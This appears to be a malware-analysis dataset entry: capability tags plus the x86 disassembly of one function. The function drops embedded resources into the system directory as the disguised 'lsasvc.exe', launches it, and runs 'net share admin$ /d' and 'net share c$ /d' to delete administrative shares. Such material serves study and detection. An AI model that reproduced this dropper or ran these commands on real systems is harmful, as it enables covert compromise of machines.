Function at 0x401ba0
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x164
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push edi
push str.RT_RCDATA
xor ebx, ebx
push 0x6a
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
push ebx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_LockResource]
push eax
call ebp
push str.RT_RCDATA
push 0x69
push ebx
mov dword [esp + 0x1c], eax
call esi
push eax
push ebx
call edi
push eax
call ebp
mov dword [esp + 0x14], eax
lea eax, [esp + 0x70]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.lsasvc.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 4
mov ecx, ebp
push 2
push ebx
and ecx, 3
push 2
lea eax, [esp + 0x84]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401dfb
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 0x18]
push ebx
push ecx
push 0x400
push edx
push esi
call ebp
mov edi, dword [esp + 0x14]
mov dword [esp + 0x10], 0x11
lea eax, [esp + 0x18]
push ebx
push eax
push 0x400
push edi
push esi
call ebp
mov eax, dword [esp + 0x10]
add edi, 0x400
dec eax
mov dword [esp + 0x10], eax
jne 0x401c71
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ebx
push ecx
add edx, 0x4400
push 0x621
push edx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x4084c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x2c], 0x44
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateProcessA]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
lea edx, [esp + 0x8c]
push ebx
push edx
push ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x64], ebx
mov word [esp + 0x84], bx
mov dword [esp + 0x88], ebx
mov word [esp + 0x86], bx
mov dword [esp + 0x80], 0x81
call ebp
test eax, eax
je 0x401d59
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, str.cmd.exe__c__net_share_admin___d_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x70]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
push edx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push eax
push ebx
call ebp
test eax, eax
je 0x401daa
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, str.cmd.exe__c__net_share_c___d_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x70]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
push edx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push eax
push ebx
call ebp
test eax, eax
je 0x401dfb
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x164
ret